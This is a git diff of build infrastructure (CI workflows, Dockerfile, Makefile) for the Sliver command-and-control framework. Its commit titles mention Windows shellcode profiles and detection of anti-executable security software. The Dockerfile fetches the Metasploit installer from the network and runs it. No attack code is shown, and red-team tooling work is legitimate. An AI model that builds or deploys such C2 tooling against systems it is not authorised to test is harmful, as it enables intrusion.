add exports when creating profile for windows shellcode

Merge pull request #1943 from Signum21/ps_faronics_anti_executable
Added ps detection for Faronics Anti-Executable processes
2026-11-07 17:08:13 -10:00 · 2025-05-15 11:53:39 +02:00 · 2025-05-13 09:08:06 -07:00 · 2025-05-13 09:07:52 -07:00 · 2025-05-12 14:03:08 +02:00 · 2025-05-12 13:52:40 +02:00
7412 changed files with 4629170 additions and 2003789 deletions
@@ -2,101 +2,68 @@ name: Release

 on:
  push:
-    tags: ["v[1-9]+.[0-9]+.[0-9]+"]
    branches: [master]

 jobs:
-  linux-windows-build:
-    name: Linux & Windows Build
+  servers-build:
+    name: Release Build Server
    if: startsWith( github.ref, 'refs/tags/v')
    runs-on: ubuntu-latest
    timeout-minutes: 45
    steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
+      - name: Go 1.21
+        uses: actions/setup-go@v5
        with:
-          go-version: "1.20.2"
+          go-version: "^1.21"

      - name: OS Packages
        run: |
          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+          git build-essential zlib1g zlib1g-dev wget zip unzip

-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+      - name: Check Out Code
+        uses: actions/checkout@v4

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Go Assets
-        run: ./go-assets.sh
-
      - name: Make
-        env:
-          ARTIFACT_SUFFIX: _linux
-        run: export PATH=/home/runner/go/bin/:$PATH && make linux
+        run: make servers

-      - name: Linux Artifacts
-        uses: actions/upload-artifact@v3
+      - name: Server Artifacts
+        uses: actions/upload-artifact@v4
        with:
-          name: linux
-          path: ./sliver-*
+          name: servers
+          path: ./sliver-server_*

-      - name: Make Windows
-        env:
-          ARTIFACT_SUFFIX: _windows
-        run: |
-          make clean
-          export PATH=/home/runner/go/bin/:$PATH && make windows
-
-      - name: Windows Artifacts
-        uses: actions/upload-artifact@v3
-        with:
-          name: windows
-          path: ./sliver-*
-
-  macos-build:
-    name: MacOS Build
+  clients-build:
+    name: Release Build Client
    if: startsWith( github.ref, 'refs/tags/v')
-    runs-on: macos-latest
+    runs-on: ubuntu-latest
    timeout-minutes: 45
    steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
+      - name: Go 1.22
+        uses: actions/setup-go@v5
        with:
-          go-version: "1.20.2"
+          go-version: "^1.22"

-      - name: Mingw
-        run: brew install mingw-w64
-
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+      - name: Check Out Code
+        uses: actions/checkout@v4

      - name: Git Fetch Tags
        run: git fetch --prune --unshallow --tags -f

-      - name: Go Assets
-        run: ./go-assets.sh
+      - name: Make
+        run: make clients

-      - name: Make AMD64
-        env:
-          ARTIFACT_SUFFIX: _macos
-        run: make macos
-
-      - name: Make ARM64
-        env:
-          ARTIFACT_SUFFIX: _macos-arm64
-        run: make macos-arm64
-
-      - name: MacOS Artifacts
-        uses: actions/upload-artifact@v3
+      - name: Client Artifacts
+        uses: actions/upload-artifact@v4
        with:
-          name: macos
-          path: ./sliver-*
+          name: clients
+          path: ./sliver-client_*

  tagged-release:
-    needs: [linux-windows-build, macos-build]
+    needs: [servers-build, clients-build]

    name: "Tagged Release"
    if: startsWith( github.ref, 'refs/tags/v')
@@ -105,51 +72,66 @@ jobs:

    steps:
      - run: mkdir -p ./builds
-      - uses: actions/download-artifact@v3
+      - uses: actions/download-artifact@v4
        with:
          path: ./builds

      - name: Extract Artifacts
        run: |
          mkdir -p ./artifacts
-          cp ./builds/linux/* ./artifacts
-          cp ./builds/windows/* ./artifacts
-          cp ./builds/macos/* ./artifacts
+          cp ./builds/clients/* ./artifacts
+          cp ./builds/servers/* ./artifacts

-      - id: install-secret-key
-        name: GPG Key(s)
+      - name: GPG Key(s)
        run: |
          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
          gpg --list-secret-keys --keyid-format LONG

      # Linux
+      - name: Linux 386 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
      - name: Linux AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
+      - name: Linux ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64

      # Windows
+      - name: Windows 386 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
      - name: Windows AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
+      - name: Windows ARM64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe

-      # MacOS AMD64
+      # MacOS
      - name: MacOS AMD64
        run: |
-          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-
-      # MacOS ARM64
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
      - name: Package MacOS ARM64
        run: |
          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64

+      # FreeBSD
+      - name: FreeBSD AMD64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
+      - name: FreeBSD ARM64 (Client Only)
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
+
      - name: "Publish Release"
-        uses: "marvinpinto/action-automatic-releases@latest"
+        uses: "bishopfox/action-gh-release@v1"
        with:
-          repo_token: "${{ secrets.GITHUB_TOKEN }}"
-          prerelease: true
          files: |
            ./artifacts/*
@@ -16,13 +16,13 @@ jobs:

    steps:
      # Setup go environment
-      - name: Go 1.20
-        uses: actions/setup-go@v4
+      - name: Go 1.22
+        uses: actions/setup-go@v5
        with:
-          go-version: "^1.20"
+          go-version: "^1.22"

      - name: Checkout repository
-        uses: actions/checkout@v3
+        uses: actions/checkout@v4
        with:
          # Must fetch at least the immediate parents so that if this is
          # a pull request then we can checkout the head of the pull request.
@@ -33,27 +33,21 @@ jobs:
      - name: OS Packages
        run: |
          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64
+          git build-essential zlib1g zlib1g-dev wget zip unzip

-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
+      - name: Check Out Code
+        uses: actions/checkout@v4

-      - name: Go Assets
-        run: ./go-assets.sh
-
-      # Initializes the CodeQL tools for scanning.
      - name: Initialize CodeQL
-        uses: github/codeql-action/init@v2
+        uses: github/codeql-action/init@v3
        with:
          config-file: ./.github/codeql/codeql-config.yml
          languages: go

-      # Build the server ... is this necessary though?
-      - run: |
-          make
+      - name: Make
+        run: make

      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v2
+        uses: github/codeql-action/analyze@v3
        env:
          VERSION: ${{github.sha}}
@@ -0,0 +1,102 @@
+# Sample workflow for building and deploying a Next.js site to GitHub Pages
+#
+# To get started with Next.js see: https://nextjs.org/docs/getting-started
+#
+name: Sliver Docs
+
+on:
+  # Runs on pushes targeting the default branch
+  push:
+    branches: ["master"]
+
+  # Allows you to run this workflow manually from the Actions tab
+  workflow_dispatch:
+
+# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
+permissions:
+  contents: read
+  pages: write
+  id-token: write
+
+# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
+# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
+concurrency:
+  group: "pages"
+  cancel-in-progress: false
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    defaults:
+      run:
+        working-directory: ${{ github.workspace }}/docs/sliver-docs
+    env:
+      working-directory: ${{ github.workspace }}/docs/sliver-docs
+
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+
+      - name: Detect package manager
+        id: detect-package-manager
+        run: |
+          if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
+            echo "manager=yarn" >> $GITHUB_OUTPUT
+            echo "command=install" >> $GITHUB_OUTPUT
+            echo "runner=yarn" >> $GITHUB_OUTPUT
+            exit 0
+          elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
+            echo "manager=npm" >> $GITHUB_OUTPUT
+            echo "command=ci" >> $GITHUB_OUTPUT
+            echo "runner=npx --no-install" >> $GITHUB_OUTPUT
+            exit 0
+          else
+            echo "Unable to determine package manager"
+            exit 1
+          fi
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+        with:
+          cache: "npm"
+          cache-dependency-path: "**/package-lock.json"
+          node-version: "lts/*"
+
+      - name: Setup Pages
+        uses: actions/configure-pages@v5
+
+      - name: Restore cache
+        uses: actions/cache@v4
+        with:
+          path: |
+            .next/cache
+          # Generate a new cache whenever packages or source files change.
+          key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
+          # If source files changed but packages didn't, rebuild from a prior cache.
+          restore-keys: |
+            ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
+
+      - name: Install dependencies
+        working-directory: ${{ env.working-directory}}
+        run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
+
+      - name: Build with Next.js
+        working-directory: ${{ env.working-directory}}
+        run: ${{ steps.detect-package-manager.outputs.runner }} next build
+
+      - name: Upload artifact
+        uses: actions/upload-pages-artifact@v3
+        with:
+          path: ${{ github.workspace }}/docs/sliver-docs/out
+
+  # Deployment job
+  deploy:
+    environment:
+      name: github-pages
+      url: ${{ steps.deployment.outputs.page_url }}
+    runs-on: ubuntu-latest
+    needs: build
+    steps:
+      - name: Deploy to GitHub Pages
+        id: deployment
+        uses: actions/deploy-pages@v4
@@ -1,76 +0,0 @@
-name: Build & Test
-on:
-  pull_request:
-    branches:
-      - master
-    types:
-      - opened
-      - reopened
-      - synchronize
-      - ready_for_review
-
-jobs:
-  linux-windows-build:
-    name: Linux & Windows Build
-    runs-on: ubuntu-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "1.20.2"
-
-      - name: OS Packages
-        run: |
-          sudo apt-get update --fix-missing && sudo apt-get -y install \
-          git build-essential zlib1g zlib1g-dev wget zip unzip \
-          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
-
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Go Assets
-        run: ./go-assets.sh
-
-      - name: Make
-        run: make linux
-
-      - name: Test
-        run: ./sliver-server unpack --force && ./go-tests.sh
-
-      - name: Make Windows
-        run: make windows
-
-  macos-build:
-    name: MacOS Build
-    runs-on: macos-latest
-    timeout-minutes: 90
-    steps:
-      - name: Go 1.20
-        uses: actions/setup-go@v4
-        with:
-          go-version: "1.20.2"
-
-      - name: Mingw
-        run: brew install mingw-w64
-
-      - name: Check out code into the Go module directory
-        uses: actions/checkout@v3
-
-      - name: Git Fetch Tags
-        run: git fetch --prune --unshallow --tags -f
-
-      - name: Go Assets
-        run: ./go-assets.sh
-
-      - name: Make
-        run: make macos
-
-      - name: Test
-        env:
-          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-        run: ./sliver-server unpack --force && ./go-tests.sh
@@ -0,0 +1,99 @@
+name: Build & Test
+on:
+  pull_request:
+    branches:
+      - master
+    paths:
+      - "go.mod"
+      - "go.sum"
+      - "Makefile"
+      - "**/*.go"
+      - "**/*.c"
+      - "**/*.h"
+      - "**/*.sh"
+    types:
+      - opened
+      - reopened
+      - synchronize
+      - ready_for_review
+
+jobs:
+  linux-windows-build-test:
+    name: Linux & Windows Test
+    runs-on: ubuntu-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.22
+        uses: actions/setup-go@v5
+        with:
+          go-version: "^1.22"
+
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip
+
+      - name: Check Out Code
+        uses: actions/checkout@v4
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make Linux (amd64)
+        run: make linux-amd64
+
+      - name: Test Linux
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows (amd64)
+        run: make windows-amd64
+
+      - name: Make Linux (arm64)
+        run: make linux-arm64
+
+  macos-build-test:
+    name: MacOS Test
+    runs-on: macos-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.22
+        uses: actions/setup-go@v5
+        with:
+          go-version: "^1.22"
+
+      - name: Mingw
+        run: brew install mingw-w64
+
+      - name: Check Out Code
+        uses: actions/checkout@v4
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make MacOS (amd64)
+        run: make macos-amd64
+
+      - name: Test MacOS (amd64)
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make MacOS (arm64)
+        run: make macos-arm64
+
+  clients-build:
+    name: Clients Build
+    runs-on: ubuntu-latest
+    timeout-minutes: 90
+    steps:
+      - name: Go 1.22
+        uses: actions/setup-go@v5
+        with:
+          go-version: "^1.22"
+
+      - name: Check Out Code
+        uses: actions/checkout@v4
+
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
+
+      - name: Make
+        run: make clients
@@ -14,10 +14,12 @@
 /sliver-server
 /sliver-server_arm64
 /sliver.exe
+/sliver-server_*

 /sliver-client
 /sliver-client_arm64
 /sliver-client.exe
+/sliver-client_*

 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -32,6 +34,7 @@ sliver-server-windows.zip

 # Test binary, build with `go test -c`
 /*.test
+/test.py

 # Output of the go coverage tool, specifically when used with LiteIDE
 /*.out
@@ -1,71 +1,120 @@
-FROM golang:1.20.4
-
 #
-# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
-#            Sliver using this container configuration! However, if you do want
-#            a Docker deployment this is probably a good place to start.
+# For production:
+#   docker build --target production -t sliver .
+#   docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver 
+#
+# For unit testing:
+#   docker build --target test .
 #

-ENV PROTOC_VER 21.12
-ENV PROTOC_GEN_GO_VER v1.27.1
-ENV GRPC_GO v1.2.0
+# STAGE: base
+## Compiles Sliver for use
+FROM golang:1.23.5 AS base

-# Base packages
+### Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-    git build-essential zlib1g zlib1g-dev \
-    libxml2 libxml2-dev libxslt-dev locate curl \
-    libreadline6-dev libcurl4-openssl-dev git-core \
-    libssl-dev libyaml-dev openssl autoconf libtool \
-    ncurses-dev bison curl wget xsel postgresql \
-    postgresql-contrib postgresql-client libpq-dev \
-    libapr1 libaprutil1 libsvn1 \
-    libpcap-dev libsqlite3-dev libgmp3-dev \
-    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-    nasm gcc-multilib
+    git build-essential zlib1g zlib1g-dev wget zip unzip

-#
-# > User
-#
+### Add sliver user
 RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
 RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver

-#
-# > Metasploit
-#
-RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-    && chmod 755 msfinstall \
-    && ./msfinstall
-RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
-    &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
-
-#
-# > Sliver
-#
-
-# Protoc
-WORKDIR /tmp
-RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-    && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-    && cp -vv ./bin/protoc /usr/local/bin
-RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
-    && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
-
-# Go assets
+### Build sliver:
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make clean-all
-RUN make \
-    && cp -vv sliver-server /opt/sliver-server \
-    && /opt/sliver-server unpack --force 
+RUN make clean-all 
+RUN make 
+RUN cp -vv sliver-server /opt/sliver-server 

-# Run unit tests
+# STAGE: test
+## Run unit tests against the compiled instance
+## Use `--target test` in the docker build command to run this stage
+FROM base AS test
+
+RUN apt-get update --fix-missing \
+    && apt-get -y upgrade \
+    && apt-get -y install \
+    curl
+
+RUN /opt/sliver-server unpack --force 
+
+### Run unit tests
 RUN /go/src/github.com/bishopfox/sliver/go-tests.sh

-# Clean up
-RUN make clean \
-    && rm -rf /go/src/* \
-    && rm -rf /home/sliver/.sliver
+# STAGE: production
+## Final dockerized form of Sliver
+FROM debian:bookworm-slim AS production

+### Install production packages
+RUN apt-get update --fix-missing \
+    && apt-get -y upgrade \
+    && apt-get -y install \
+    libxml2 libxml2-dev libxslt-dev locate gnupg \
+    libreadline6-dev libcurl4-openssl-dev git-core \
+    libssl-dev libyaml-dev openssl autoconf libtool \
+    ncurses-dev bison curl xsel postgresql \
+    postgresql-contrib postgresql-client libpq-dev \
+    curl libapr1 libaprutil1 libsvn1 \
+    libpcap-dev libsqlite3-dev libgmp3-dev \
+    nasm
+
+### Install MSF for stager generation
+RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
+    && chmod 755 msfinstall \
+    && ./msfinstall \
+    && mkdir -p ~/.msf4/ \
+    && touch ~/.msf4/initial_setup_complete 
+
+### Cleanup unneeded packages
+RUN apt-get remove -y curl gnupg \
+    && apt-get autoremove -y \
+    && apt-get clean \
+    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
+
+### Add sliver user
+RUN groupadd -g 999 sliver \
+    && useradd -r -u 999 -g sliver sliver \
+    && mkdir -p /home/sliver/ \
+    && chown -R sliver:sliver /home/sliver \
+    && su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+
+### Copy compiled binary
+COPY --from=base /opt/sliver-server  /opt/sliver-server
+
+### Unpack Sliver:
 USER sliver
+RUN /opt/sliver-server unpack --force 
+
 WORKDIR /home/sliver/
+VOLUME [ "/home/sliver/.sliver" ]
+ENTRYPOINT [ "/opt/sliver-server" ]
+
+
+# STAGE: production-slim (about 1Gb smaller)
+FROM debian:bookworm-slim AS production-slim
+
+### Install production packages
+RUN apt-get update --fix-missing \
+    && apt-get -y upgrade
+
+### Cleanup unneeded packages
+RUN apt-get autoremove -y \
+    && apt-get clean \
+    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
+
+### Add sliver user
+RUN groupadd -g 999 sliver \
+    && useradd -r -u 999 -g sliver sliver \
+    && mkdir -p /home/sliver/ \
+    && chown -R sliver:sliver /home/sliver
+
+### Copy compiled binary
+COPY --from=base /opt/sliver-server  /opt/sliver-server
+
+### Unpack Sliver:
+USER sliver
+RUN /opt/sliver-server unpack --force 
+
+WORKDIR /home/sliver/
+VOLUME [ "/home/sliver/.sliver" ]
 ENTRYPOINT [ "/opt/sliver-server" ]
@@ -5,8 +5,12 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS ?= -tags go_sqlite
+CGO_ENABLED = 0

+ifneq (,$(findstring cgo_sqlite,$(TAGS)))
+	CGO_ENABLED = 1
+endif

 #
 # Prerequisites 
@@ -23,13 +27,13 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 18
+MIN_SUPPORTED_GO_MINOR_VERSION = 21
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)

 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
 RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
-ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
 ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
 CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
@@ -44,17 +48,17 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"

-# Debug builds can't be stripped (-s -w flags)
+# Debug builds shouldn't be stripped (-s -w flags)
 LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
 	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
 	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
 	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"

 SED_INPLACE := sed -i
@@ -63,17 +67,6 @@ STATIC_TARGET := linux
 UNAME_S := $(shell uname -s)
 UNAME_P := $(shell uname -p)

-# If the target is Windows from Linux/Darwin, check for mingw
-CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
-ifneq (,$(findstring cgosqlite,$(TAGS)))
-	ENV +=CGO_ENABLED=1
-	ifeq ($(MAKECMDGOALS), windows)
-		K := $(foreach exec,$(CROSS_COMPILERS),\
-				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-	endif
-endif
-
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
@@ -104,48 +97,69 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif

-ifeq ($(MAKECMDGOALS), linux-arm64)
-	# Redefine TAGS/ENV to use pure go sqlite3
-	TAGS = -tags osusergo,netgo,gosqlite
-	ENV = CGO_ENABLED=0
-endif
-
 #
 # Targets
 #
 .PHONY: default
 default: clean .downloaded_assets validate-go-version
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: macos
-macos: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
+# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
+.PHONY: client
+client: clean .downloaded_assets validate-go-version
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+
+.PHONY: macos-amd64
+macos-amd64: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

 .PHONY: macos-arm64
 macos-arm64: clean .downloaded_assets validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client

-.PHONY: linux
-linux: clean .downloaded_assets validate-go-version
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+.PHONY: linux-amd64
+linux-amd64: clean .downloaded_assets validate-go-version
